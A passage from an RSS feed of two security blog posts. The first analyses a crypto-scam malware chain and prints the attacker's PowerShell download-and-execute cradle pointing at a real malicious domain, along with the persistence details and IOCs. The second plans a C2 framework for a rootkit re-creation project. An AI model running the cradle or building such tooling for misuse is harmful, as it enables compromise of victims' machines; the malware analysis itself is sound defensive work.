hosting the malicious code</figcaption></figure><p>And when we look into the repo and its history we see that the only thing the scammers do is just updating parts of the malicious link.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KF93QmGapOzYba4MBEi7UQ.png" /><figcaption>Repo update history</figcaption></figure><p>After initially downloading the code pointed to in this download cradle, i tried again afterwards to get the payload again to see if it changed. And on the second visit the website gave me a 403 forbidden. So it looks like the payloads might be rotated to avoid repeats. This is a step upfrom the last RAT we looked at. There was however no authentication via cookies like we saw last time. So eventhough we cannot know for sure, we can atleast imply from the commit history that there has been 7 victims before:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HTubkqdW7ZC2jAud0VdOgg.png" /><figcaption>Commit history</figcaption></figure><p>Looking at the domain “betasignaltradingviewkey.app/update/userearlyaccess”. We see that it is privatly hosted on cloudflare, so we cant realy get that much more info here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*8heaVGowOeTU0crRdzGgSA.png" /><figcaption>Whois pointing to Cloudflare</figcaption></figure><h3>— [ 0x2. PowerShell Download Cradle</h3><p>Now lets have a look at what they are trying to get us to execute <a href="https://github.com/Trading-View-Tech/developer-features/blob/main/enable-dev-mode">[004].</a></p><p>Doing a little bit of formating to the single line code, we get the following:</p><pre>powershell -Command &quot;$update=&#39;betasignal&#39;; <br>$mode=&#39;tradingview&#39;; $key=&#39;ai&#39;; <br>$file=&#39;userearlyaccess&#39;; <br>$url=$update+$mode+$key+&#39;.app/update/&#39;+$file; <br>&amp;{ iex ([System.Text.Encoding]::UTF8.GetString((iwr $url -UseBasicParsing).Content)) }&quot;</pre><p>And if you are not used to dealing with PowerShell and how it works it might be a bit difficult to see whats going on here. But the most important parts to notice is the “iwr” which is PowerShell shorthand for Invoke-WebRequest <a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.5">[005]</a>, this funciton simply downloas a webpage or content from the internet. And then “iex”, shorthand for Invoke-Expression <a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.5">[006]</a>, which simply executes whatever code is provided to it. Put this two together and you ahve what we call a “download cradle” <a href="https://dfir.au/posts/2018/downloadcradle/">[007]</a>, which is simply some PowerShell code that downoand executes some code in memory.</p><p>Taking the url elements,can put them together to get where the next stage of the attack chain is comming from:</p><pre>betasignaltradingviewkey.app/update/userearlyaccess</pre><p>Now lets get the code that is being downloaded, for this i just reused the original snippet and removed the “iex” part</p><pre>([System.Text.Encoding]::UTF8.GetString((iwr $url -UseBasicParsing).Content))</pre><p>After downloading and decoding the “UTF8” string we are presented with an interesting file that ticks all the boxes of “an interesting evening”.</p><p>The first part highlighted below, is what i like to call the “social engineering part”. Here the user is presented with some text telling them that the program is being installed. And then the giant textblob after should grab your attention.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*acf3kZCD7cISCxLrAd6TPg.png" /><figcaption>Social engineering</figcaption></figure><p>Then we have a giant blob consisting of a bunch of Base64 encoded strings being concatonated together. This string will be the main payload. But before anything is done with it it is saved to disk in the $env:PUBLIC path with the name “4LAhA4WA.wav”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*YyjWlKMC75ugbrt4mXu1cg.png" /><figcaption>Creating file name for tmp file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9cIC_DPTLM-EMhjsuPur_g.png" /><figcaption>Decoding, saving, and executing the main payload</figcaption></figure><p>After this is when the main meat of the script action is done. Lets walk through this step by step:</p><ol><li>First, the payload is decoded from base64 and saved as a zip file, resulting in the folder “5E2gjz9u1P”</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*t4AfarD4WOsmW7pRcmvzUg.png" /><figcaption>Newly created folder conataining they binary payload</figcaption></figure><p>2. Then the archive is extracted into the new folder and the original archive is deleted</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*6hzC2mqYcfrwEgtMlU-j5g.png" /><figcaption>Folder Contents</figcaption></figure><p>3. The resulting file “Beacon-Digi64.exe” is then executed with “Start-Process”</p><p>4. Persistence is then eastablished via the “Startup” folder, note that this is done via a malicious shortcut ‘Gda9Kvi3.lnk’ The “WindowStyle = 7” sets the app to be opened as minimized on launch <a href="https://www.devguru.com/content/technologies/wsh/wshshortcut-windowstyle.html">[008]</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*UWbMjUgmnVvbR6UXzI391Q.png" /><figcaption>WindowStyle documentation</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*RgIbLjymJzbUzn75AOx2Gg.png" /><figcaption>Malicious startup .lnk</figcaption></figure><p>Now that we are done with the PowerShell script lets move on to the binary that was dropped, started, and added as a persistence mechanism “Beacon-Digi64.exe”.</p><h3>— [ 0x3. Beacon-Digi64.exe</h3><p>Upon initial inspectin with CFF explorer we see that the file is compiled with OpenJDK and has the original filename “javaw.exe” which is the console less version of “java.exe” <a href="https://stackoverflow.com/questions/1997718/difference-between-java-exe-and-javaw-exe">[009].</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*CQwBxSoynbEitD-Tle7NXA.png" /></figure><p>This would also make sense in the context of the binaries in its folder, namely “jli.dll”.</p><p>I spend way to much time trying to reverse engineer this binary with traditional debugging tools like x96 and IDA, but for the life of me I couldn’t figure out how it worked, and in the end I ended up just looking at the system interactions through procmon.</p><p>So this is the rough walkthrough of what is happening.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*52mxCYuVUqVBzdyXLRhJew.png" /><figcaption>After execution new files appear and are executed</figcaption></figure><p>As you can see on the image above the Beacon-Digi64.exe spawns two different sub processes “XPFix.exe” and “ClusterDri.exe”. Walking through the procmon data, we see that Beacon-Digi64.exe creates these files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BzX1PRJ2i-x0XGVIlNf-JA.png" /><figcaption>File creation events</figcaption></figure><p>And then it executes the new file “ClusterDri.exe”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8FwCOu7ihOnwpXJLj37SsQ.png" /><figcaption>Process creation: ClusterDri.exe</figcaption></figure><p>Next beacon-digi64.exe creates XPFix.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*444Y5R2LdZCxhyxxvD4j9A.png" /><figcaption>File creation</figcaption></figure><p>And then this process also starts the XPFix.exe binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OF-MMA16bfaP2w8_oS8vkQ.png" /><figcaption>Process creation: ClusterDri.exe</figcaption></figure><p>After this, we start seeing some network communications to “hostedby.privatelayer.com:3333”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c7YaqTSGpVZwk8dQVleZRA.png" /><figcaption>ClusterDri.exe network communication</figcaption></figure><p>This site is a swizz cloud provider accepting crypto to host servers, which makes sense.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S0TldIQ5kvXrrUG1dfAzyA.png" /><figcaption>Hosting provider</figcaption></figure><p>After this we then see these applicaitons also creating persistence, this time they are sreating two scheduled tasks:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b9JirEv80CPPgrDmT8pWSQ.png" /><figcaption>Procmon, persistence</figcaption></figure><p>And if we use autoruns to take a look at the scheduled tasks we see the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oDnDIJBwwYLWRVJUM1jZ1Q.png" /></figure><p>The tasks “ JbValid_dbg” and “qz_validate_x86” point to the “beacon-Digi64.exe” file which I suspect to be our original dropper for the malware.</p><p>Next lets take a short look into the new files now running on our system.</p><h3>— [ 0x4. ClusterDri.exe</h3><p>First off is ClusterDri.exe. This file is particularly interesting since it was the one responsable for the network communication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*XORhUOwe0RNomhwoRIqiDg.png" /><figcaption>CFF explorer</figcaption></figure><p>So it looks like it is an actual piece of chinese software, this would corespond with previous examples where legitimate software is used as RAT. The original file name was “360webshield.exe”. So lets try to see if we can get some more info on this. On the english page it looks like some kind of security software.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n-_AFXpGYtPp5eBYNHbu2w.png" /><figcaption>360 english web page</figcaption></figure><p>However this is rather sparse, so lets continue digging. If we go to the chinese page “360.cn” we cna see we get a lot more info.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0CB5R3UGQRqpGqB9JsptMQ.png" /><figcaption>Chinese home page</figcaption></figure><p>And after looking around and abusing google translate we get a bit more insight. This looks like a chinese security company producing their own Endpoint Detection and Response (EDR) software.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jyd7oHyg37YKa_IAoGIOYQ.png" /><figcaption>EDR product page</figcaption></figure><p>It wouldnt be this first time that some one came up with the idea of using EDR as a command anad control (c2) framework to get access to remote systems <a href="https://www.usenix.org/system/files/usenixsecurity25-alachkar.pdf">[010]</a>.</p><h3>— [ 0x5. XPFix.exe</h3><p>Lastly lets look at “XPFix.exe”, again its an application from 360.cn, with a valid software signature. Which again adds to our suspicion above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*xbkbv-qS4_C9WKH7RlFHIw.png" /><figcaption>CFF explorer</figcaption></figure><h3>— [ 0x6. Conclusion</h3><p>In conclusion, we see a lot of similarities with the last scam we took a look at <a href="https://medium.com/@0x0vid/another-day-another-crypto-scam-installing-a-rat-1f6dbbddeb43">[002]</a>. both are using AI generated video ads on youtube to social engineer its tarteget demograpich. Both uses the same language in the videos and the promise of assisting in trades. Both has the quite interesting social engineering technique of telling the user that something went wrong after installing the malware. The interesting thing here is that it tells the user that access is restricted and to come back. The infrastructure of this scam seem to be in some ways more sophisticated while still using the overall same setup and techniques.</p><p>Overall very interesting to see how these actors gain initial access to systems and their methods for securing persistance.</p><h3>— [ 0x7. Cleanup</h3><p>If you find your self falling victim for this scam and need to cleanup your system the following steps should be taken.</p><p>Remove any unusual .lnk files from your startup folder, most likely with suspicious names of rnadom characters.</p><p>Then remove any suspicious scheduled tasks (likely two) which are set to run on startup. In this case: “ JbValid_dbg” and “qz_validate_x86”.</p><p>Next reboot your machine.</p><p>And then finally remove the above-mentioned files from these directories:</p><ul><li>$env:home</li><li>$env:public</li><li>C:\Program Data</li><li>%appdata%\roaming</li></ul><p>They will likely have different names and the same goes for their folders so use your best judgement.</p><p>And if done correctly you should be good to go.</p><h3>— [ 0x8. IOCs</h3><h4>PowerShell download cradle</h4><ul><li>betasignaltradingviewkey.app/update/userearlyaccess</li><li><a href="https://github.com/Trading-View-Tech/developer-features">https://github.com/Trading-View-Tech/developer-features</a></li></ul><h4>Zip file</h4><ul><li>File creation: $env:PUBLIC\4LAhA4WA.wav</li><li>Folder creation: \5E2gjz9u1P</li><li>Folder creation: \Fmremote_uab</li><li>File creation, and program execution: Beacon-Digi64.exe | MD5: 8E9E7C1B9163E39177ADF8104937351E</li><li>Startup folder persistence: Gda9Kvi3.lnk</li></ul><h4>Beacon-Digi64.exe</h4><ul><li>File creation, and program execution:XPFix.exe | MD5: 810D42177538AD5CA18D4DD597C00658</li><li>File creation, and program execution: ClusterDri.exe | MD5: B99BC95F355C88A4ABE665E4549A1343</li></ul><h4>ClusterDri.exe:</h4><ul><li>hostedby.privatelayer.com:3333</li></ul><h4>XPFix.exe</h4><ul><li>Scheduled task: JbValid_dbg</li><li>Scheduled task: qz_validate_x86</li></ul><h3>— [ 0x9. References</h3><ul><li>[001] — Scam video — <a href="https://www.youtube.com/watch?v=Hm-ga5HlXr8">https://www.youtube.com/watch?v=Hm-ga5HlXr8</a></li><li>[002] — Another day, another crypto scam: Installing a RAT — <a href="https://medium.com/@0x0vid/another-day-another-crypto-scam-installing-a-rat-1f6dbbddeb43">https://medium.com/@0x0vid/another-day-another-crypto-scam-installing-a-rat-1f6dbbddeb43</a></li><li>[003] — Scammer GitHub — <a href="https://github.com/Trading-View-Tech?tab=overview&amp;from=2025-09-01&amp;to=2025-09-30">https://github.com/Trading-View-Tech?tab=overview&amp;from=2025-09-01&amp;to=2025-09-30</a></li><li>[004] — Scammer GitHub repo — <a href="https://github.com/Trading-View-Tech/developer-features/blob/main/enable-dev-mode">https://github.com/Trading-View-Tech/developer-features/blob/main/enable-dev-mode</a></li><li>[005] — IWR docs — <a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.5">https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.5</a></li><li>[006] — IEX docs — <a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.5">https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.5</a></li><li>[007] — Powershell Download Cradles — Matt’s DFIR blog — <a href="https://dfir.au/posts/2018/downloadcradle/">https://dfir.au/posts/2018/downloadcradle/</a></li><li>[008] — WindowStyle — DevGuru — <a href="https://www.devguru.com/content/technologies/wsh/wshshortcut-windowstyle.html">https://www.devguru.com/content/technologies/wsh/wshshortcut-windowstyle.html</a></li><li>[009] — <a href="https://stackoverflow.com/questions/1997718/difference-between-java-exe-and-javaw-exe">https://stackoverflow.com/questions/1997718/difference-between-java-exe-and-javaw-exe</a></li><li>[010] — EvilEDR: Repurposing EDR as an Offensive Tool by Kotaiba Alachkar; Dirk Gaastra; Eduardo Barbaro, Michel van Eeten, and Yury Zhauniarovich — <a href="https://www.usenix.org/system/files/usenixsecurity25-alachkar.pdf">https://www.usenix.org/system/files/usenixsecurity25-alachkar.pdf</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1daa01a639e0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Re-creating the Snake Rootkit Part 008: C2 — Design and Architecture]]></title>
            <link>https://medium.com/@0x0vid/re-creating-the-snake-rootkit-part-008-c2-design-and-architecture-23acf19ce78d?source=rss-ff32b62d4ee------2</link>
            <guid isPermaLink="false">https://medium.com/p/23acf19ce78d</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[apt]]></category>
            <category><![CDATA[adversary-emulation]]></category>
            <dc:creator><![CDATA[0x0vid]]></dc:creator>
            <pubDate>Sat, 28 Jun 2025 22:19:55 GMT</pubDate>
            <atom:updated>2025-06-28T22:19:55.770Z</atom:updated>
            <content:encoded><![CDATA[<h3>Re-creating the Snake Rootkit Part 008: C2 — Design and Architecture</h3><p><em>Tl;dr — I could not get covenant working, so I decided to create a custom command and control (c2) framework from scratch…</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X3a73IMYXsH5B8i6guUmhw.png" /><figcaption>Simple beginings</figcaption></figure><h3>— [ Table of Contents</h3><pre>-[ 0x0 Introduction<br>--[ 0x0.1 Requirements<br>-[ 0x1 Previous Work<br>--[ 0x1.1 Fraudshell - Simple hoaxshell inspired multi session HTTP C2<br>--[ 0x1.2 SIDEWINDER - Messy iteration on Fraudshell using React frontend<br>--[ 0x1.3 DNS C2 PoC<br>--[ 0x1.4 Windows Filtering Platform (WFP) PoC<br>-[ 0x2 Plan<br>--[ 0x2.1 Specific requirements<br>---[ 0x2.1.1 API<br>---[ 0x2.1.2 Implant<br>---[ 0x2.1.3 Rootkit<br>---[ 0x2.1.4 Frontend<br>-[ 0x3 The Tech Stack<br>-[ 0x4 How will we approach this?<br>-[ 0x5 Getting started on the frontend components<br>--[ 0x5.1 Prototyping the frontend and workflow<br>-[ 0x6 Getting started on the backend<br>--[ 0x6.1 Database? I hardly knew her<br>-[ 0x7 The API<br>--[ 0x7.1 Drafting the API<br>-[ 0x8 Conclusion<br>-[ 0x9 References</pre><h3>— [ 0x0 Introduction</h3><p>In the previous posts in this series, we have gone through various parts of our rootkit. Steps such as using vulnerable drivers for rootkit installation <a href="https://medium.com/@0x0vid/re-creating-the-snake-rootkit-part-007-rootkit-installation-232f49332f78">[001]</a>, covert communication<a href="https://medium.com/@0x0vid/re-creating-the-snake-malware-part-003-implementing-covert-communication-using-ustart-0c45c785dd91"> [002]</a>, process injection for evasion <a href="https://medium.com/@0x0vid/re-creating-the-snake-malware-part-004-kapc-injection-and-windows-api-hooking-to-hide-processes-468d5783e6ba">[003]</a> etc. In this and the following posts, I will get started on creating a command and control framework with the specific intention of interoperability with the final rootkit.</p><h4>— —[ 0x0.1 Requirements</h4><p>Before we get started on anything, we need to talk about requirements. What do we need our command and control framework to do, and how would we like for it to do it?</p><ul><li>Act as the command and control framework for the rootkit and associated agents</li><li>Make rootkit interactions easy and as seamless as possible</li><li>Handle multiple agents</li><li>Be persistent across multiple runs, i.e. store everything in a database for later use.</li><li>Support reverse shells and bind shells</li><li>Compile and host important components</li><li>API backend allowing for web and CLI interaction</li><li>Nice looking web interface (remember this is where the screenshots will come from ;) )</li></ul><p>In addition to the above i will only do the agents using http/https for communications. This is just a preference thing and in the future i might add other protocols.</p><h3>— [ 0x1 Previous Work</h3><p>As some of you might know this is not the first time I have doen something like this. In the past I have made several different C2 frameworks. These were often done as part of trying to learn something new like frontend web design. Or done because it offered something I needed in my pentesting job. So ill just give you a short introduction to these before we move on to design and prototyping.</p><h4>— —[ 0x1.1 Fraudshell — Simple hoaxshell inspired multi session HTTP C2</h4><p>My first dive into C2 creation was with a Python and PowerShell-based framework heavily inspired by Hoaxshell <a href="https://github.com/t3l3machus/hoaxshell">[004]</a> by telemarcus. I created this to get a deeper understanding of how a simple c2 like this worked and also to create something that still bypassed most AV/EDR. More or less its just a simple CLI and agent/implant. The implant is more or less just a while loop doing GET requests to a web server to recive commands and then POST requests to send the results (this is still the method i will use in this new framework).</p><p>Nothing about this project was fancy, but it still works. And since it&#39;s so lightweight and easy to use its something that I still occassionally use to this day.</p><h4>— —[ 0x1.2 SIDEWINDER — Messy iteration on Fraudshell using React frontend</h4><p>This was my second shot at creating a C2 framework <a href="https://medium.com/@0x0vid/how-to-build-your-own-custom-c2-framework-b33b569f0987">[005]</a>. After messing around in the command line i thought that it might be nice to have a web interface. For this i used react JS, which was a mistake. I really did not like the clunkiness of react and the project quickly became very messy and unmaintainable. And it was all me, you could probably do it way nicer and more smooth. Im just not a fan. This project was an iteraction on Fraudshell and keeps most of the same features but adds a front end and options for customizing your implant.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*THbgi2PkATlgWVwxSF2x_A.png" /><figcaption>SIDEWINDER c2 interface</figcaption></figure><p>Other than the whole ReactJs thing, I liked the web interface and the ability to serve files via the framework.</p><h4>— —[ 0x1.3 DNS C2 PoC</h4><p>Next, is the most simple of the bunch. A quick DNS based <a href="https://medium.com/@0x0vid/creating-a-dns-c2-server-and-agent-26fb8d556dc0">[006]</a> listener and implant. Where the implant simply pulls commands from a DNS TXT record. And I just uses tcpdump to catch the reply when the command has been executed. This was done as part of establishing communications in a restricted enviornment during an engagement.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*U6Itr4veQpX-3niZ.gif" /><figcaption>DNS based command and control</figcaption></figure><h4>— —[ 0x1.4 Windows Filtering Platform (WFP) PoC</h4><p>Last up is the interface we made for the “Re-creating the Snake Rootkit Part 003: Implementing Covert Communication Using The Windows Filtering Platform (WFP)” <a href="https://medium.com/@0x0vid/re-creating-the-snake-malware-part-003-implementing-covert-communication-using-ustart-0c45c785dd91">[002]</a> blog post. This was just a simple php app that sent post requests to a choosen endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*pGhuRli4aOHkwShv.png" /><figcaption>Barebones php web interface for PoC of ur0bur0s WFP push communications</figcaption></figure><p>The good thing about having created many different iterations on command and control frameworks is that I have had many chances to figure out how i like them to work, what i want them to do and how i’d like them to do it. Id highly reccomend making many simple frameworks and PoCs so you can play around with individual features in a simple and low investment scenarios.</p><h3>— [ 0x2 Plan</h3><p>After going through my past iterations on this subject it is now time to get started on figuring out what we want this framework to do. The followint “plan” is just my initial thoughts on what might be nice to have and how i think i might like everything to work. Please note that this might change at any time dring development.</p><ul><li>Create covenant like c2 framework.</li><li>Make sure that everything is tested and workign as expected with nice docs.</li><li>Make basic rootkit implementation only using wfp.</li><li>Ensure that different implants can be created and in the process be obfuscated.</li><li>Have data be persistent accross restarts</li><li>Maleable c2 communications.</li></ul><p>The above will be our rough plan for a minimal viable product (MVP). Furthermore, i plan on having the agent be very similar to the one used by hoaxshell. With the main difference being i want mine to have a maleable communications profile and run various commands instead of just executing straight powershell.</p><p>As with most of my other projects i will try to keep things as simple as possible. If i need propper EDR evasion and cool stuff i will use a packer as a seperate project. If i need LDAP and AD enumeration ill use a seperate project. This project wil be as constrained as i can make it without sacrafizing the core function: support rootkit communication.</p><h4>— —[ 0x2.1 Specific requirements</h4><p>The above paln is good for a general outline of what we are trying to achive. But id like to have something more concret before getting started. Terefore i have created more detailed requirements for each of the elements that will make up our framework.</p><p><strong>— — —[ 0x2.1.1 API</strong></p><p>For the API, we need it to have the following functionality to allow our implants to function:</p><ul><li>Registration — On successful execution we need our implantsto be registaered so that we can keep track of them and the tasks we have them executing.</li><li>Session management — We want to have more than one agent to run at the time, we therefore need the API and backend to be able to keep track of different implants</li><li>Send commands — Once implants are registered and we keep track of sessions we want to use them for stuff, this suff will be the commands or “tasks” that they need to perform.</li><li>Receive reply — Once a task is sent to an implant we need to be able to recieve the reply/result</li></ul><p><strong>— — —[ 0x2.1.2 Implant</strong></p><p>The implant will just be iterations on a simple while loop in the various languages that the framework supports. It wil recieve tasks. Execute them. And send back the results.</p><p>After some deliberation i came to the conclusion that it might be nice to seperate the IOCTL and rootkit interaction out into a seperate .dll file, this would free us up and allow for the easy creation of agents in different languages other than the ones natively supporting IOCTLs and the WinAPI.</p><p><strong>— — —[ 0x2.1.3 Rootkit</strong></p><p>We already have the basic functionality in place for the rootkit, the only thing we need to add is a queue for storing the commands to be retrived by the userland agent. But to keep it brief we need the rootkit to provide evasion features and support using WFP for covert communications. This means we will need to have our framework support bind style communications.</p><p><strong>— — —[ 0x2.1.4 Frontend</strong></p><p>handles all end user interaction and will need the following features:</p><ul><li>Send and recive commands</li><li>Create agents for deployment, since the rootkit is static we can just have this included in the download when creating agents</li><li>Start and stop listeners</li><li>Overview of agents</li><li>Logs from the server</li></ul><p>For inspiration for the web frontend i looked at the most popular c2 frameworks out there: cobaltstrike, control pack, covenant, mythic c2, etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MPAJ6DKqaENRAjXgsLua2w.png" /><figcaption>Collage of various c2 frontends</figcaption></figure><p>As we can see in the collage above the overall structure of the c2 interface for most popular c2 frameworks are pretty similar. If we destill them down we get the following basic layout and contents:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*PSs_6pQW4E75LPuVPuvfqg.png" /><figcaption>Basic c2 interface layout — initial idea</figcaption></figure><h3>—[ 0x3 The Tech Stack</h3><p>I have recently taken quite a liking to go and how it handles templating, and i like the simple nature of programming using the language. Therefore golang will be used for the backend. For the databese i use sqlite (later switched to postgress due to issues with multiple simultanious connecitons) as the backend database instead. For the frontend i use beerCss <a href="https://www.beercss.com/">[007]</a> to make stuff look nice. For functionality i just use straight JavaScript, no cool framework and obscure stuff here.</p><h3>—[ 0x4 How will we approach this?</h3><p>For the approach i chose to simply created the componentnts in the order that they would be used by anyone using the framework. For this I did not try to make everything perfect in the first try, or the second. Sometimes i cheated and skipped logic and just made temporary hardcoded solutions. And then later went back and refined these.</p><h3>—[ 0x5 Getting started on the frontend components</h3><p>To start off lets jsut get something on the screen that looks somewhat like what we wnat our final product to be like. allignment and proportions and scalability is not a concern yet. Some quick wotk with css and html and i got myself the start of a decent interface. I choose this as the workflow and interfaces will dictate the order of implementation of the different elements.</p><h4>— — [ 0x5.1 Prototyping the frontend and workflow</h4><p>So starting off i took some inspiraiton from covenant and created a quick and messy dashboard. I used a css setup i created from scratch. You will soon see that this was replaced with BeerCss.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MMmidkIP1dGi-mI8Yv6XLQ.png" /><figcaption>Main window PoC inspired by most of the C2 frameworks out there</figcaption></figure><p>I did some messing around and also made something resembling the covenant interface:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ofoluCYXugf_gcKa7M6WsA.png" /><figcaption>Covenant inspired interface using custom css</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X3a73IMYXsH5B8i6guUmhw.png" /><figcaption>Same but using beer css</figcaption></figure><p>I think i like the covenant inspired one more. This is mostly because this mean that we can seperate functionality out into different pages and thus creating the backend for out setup will be that much easier!</p><p>For the interactivity of this page we can simply create some javascript that periodically fetches the agenst, listeners, and taskings from the backend. No need for fancy frameworks or HTMX here!</p><p>Next following the process of stealing “borrowing” ideas from covenant, lets look at listeners. To do this we will need an overview page, interaction page, and a page for listener creation<a href="https://github.com/cobbr/Covenant/wiki/Bridge-Listeners"> [008]</a>.</p><p>I went through the documentation and github for covenant and stole what ideas i likes and in general im really enjoing the UI decisions. After an evening of prototyping and writing html i got the following framework of pages for the frontend done:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a8E_YkXIfydNuViNhuLzNw.png" /><figcaption>Frontend elements mapped together</figcaption></figure><p>With the main dashboard looking like so:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j_qrL-n3mRs8PXbmLQnEEg.png" /><figcaption>Dashboard demo</figcaption></figure><p>For now this is all the work we need to do for the front end. Lets move on to getting all of this working on a webserver and start creating the backend</p><h3>—[ 0x6 Getting started on the backend</h3><p>For the webserver ill just use go and its templating system. The reasons why are:</p><ul><li>tempaltes in go are simple and powerfull</li><li>golang is cross platform</li><li>Overall go is easy to work with</li><li>nice support for middleware like logging and authentication</li></ul><p>Im not going to detail every single page but ill use the following as my template for building out the applicaiton</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iUxLgA0JmEccmbI05GcqQA.png" /><figcaption>Simple golang template rendering code</figcaption></figure><p>To make the templating easier in later iterations i ended up often defining custom strructs for the data which could then be rendered by the template. Here is an example for the dashboard which needed 3 different arrays of structs:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YdRvJURG6oc4Qg232jS2YQ.png" /><figcaption>Dashboard struct and rendering in go</figcaption></figure><h4>— — [ 0x6.1 Database? I hardly knew her</h4><p>For my previous attempts at creating command and control frameworks i usually went light on the data side of things and just stored all the info id need in the memory oif the application. This meant that once the program stopped running all the data was lost. For this framework we will need something a bit more permanent and nice to work with. Therefore i choose to use a SQLite database to store all the data wed need.</p><p>Before we can jump into creating our database, let&#39;s go through what we need! here the work we did on the front end is nice as it pretty much maps one to one with the data we need to store in oru database.</p><p>First off we will jsut go through the various tables and pages above. More or less we will just copy how covenant does it and then later we can change it to fit our needs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*9auREHOQKbJb2A4bAsdeSw.png" /><figcaption>Relational database initial draft</figcaption></figure><p>For the database ill use Sqlite. I choose Sqlite because its lightweight, easy to use, and the documentation available is pretty nice. The code to create a table ends up looking like so (we will come back to this later dont worry):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MsHN9UzA-CyK_ua6ZGkbiw.png" /><figcaption>Golang Sqlite interaction</figcaption></figure><p>Well just repeat this for all the tables listed above. The last piece of data we will need for now is the Tasks themselves, lets add another table for that copying the structure of the Covenant documentation <a href="https://github.com/cobbr/Covenant/wiki/Building-Tasks">[009]</a>.</p><p>Now we got the basics of a http server running and a database underneath to handle the organization of informaiton. Now we can start getting an idea of how the API will look.</p><h3>—[ 0x7 The API</h3><p>Now that we got some idea about how our data will look like, lets get started on the API. For this i will use a simple RESTful API. Im choosing this approach because of its simplicity and it also fits right into our plans, since the majority of communications will heppen over HTTP/HTTPS its perfect!</p><h4>— — [ 0x7.1 Drafting the API</h4><p>For nwo we can use the pages outlined above for our amin skeleton of the api. Ill start by jsut creating a rough outline below and when we are fone ill make some propper documentation with a nice swagger for good measure!</p><p>Also for now ill leave out the rootkit component as its better kept as its own seperate section for later in the post.</p><p>Going through the API will look like so:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vnACjS0ggO5IyqQerjzb8w.png" /><figcaption>API draft</figcaption></figure><p>Nothing here is especially interesting. The only part worht investigating is the api for the agents. I expect the c2 server to be behind other network components and therefore have decided to just expose the api for agent communication in the same manner as everything else. But we will get into deployment of the various components later also.</p><p>The implementation is pretty straight forward since we are either getting data from a database, updating it or creating it.</p><p>For now we will leave it at this.</p><h3>— [ 0x8 Conclusion</h3><p>This brings us to the conclusion for the first post in the creation of what I hope to be a cool project. We now have a decent start on most of the components needed and have an overall draft. All of this will likely change and non of it is final.</p><p>I made this post while writing the framework, and finished it after much work on the framework. I have choosen to keep the original ideas and mistakes here. Atleast most of them. For the simple reason to have a track record of where the project started and how it evolved!</p><p>Join me next time and see how we get started on listeners.</p><p>… And dont worry i plan to release the framework on GitHub when it is closer to completion :)</p><h3>— [ 0x9 References</h3><ul><li><strong>001 — Re-creating the Snake Rootkit Part 007: Rootkit Installation —</strong> <a 